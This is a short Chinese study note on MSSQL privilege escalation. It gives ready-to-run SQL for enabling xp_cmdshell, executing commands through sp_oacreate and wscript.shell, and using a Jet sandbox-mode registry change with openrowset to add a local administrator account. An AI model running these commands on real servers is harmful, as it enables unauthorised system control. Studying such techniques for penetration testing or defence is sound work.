仅用于知识了解,未进行复现
xp_cmdshell提权
xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权
ps:该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
启用: EXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
关闭: exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 0; reconfigure;
执行: EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复 exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\\Program Files\\Microsoft SQL Server\\MSSQL\\Binn\\xplog70.dll'
|
sp_oacreate提权(无回显)
首先尝试xp_cmdshell提权,当xp_cmd行不通时,使用sp_oacreate
可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 启用: EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
关闭: EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE WITH OVERRIDE;
执行: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami >c:\\\\1.txt'
以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。
|
沙盒提权
执行命令的方法无法使用时,使用沙盒提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
|
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',0;
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines', 'SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1` :为仅在允许范围内
`2` :必须在access模式下
`3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
|
SQL server提权汇总https://blog.51cto.com/u_11797152/2411770
https://blog.csdn.net/m0_46363249/article/details/121987611
https://www.cnblogs.com/SnowSec/p/14917112.html
https://wxiaoge.blog.csdn.net/article/details/112858836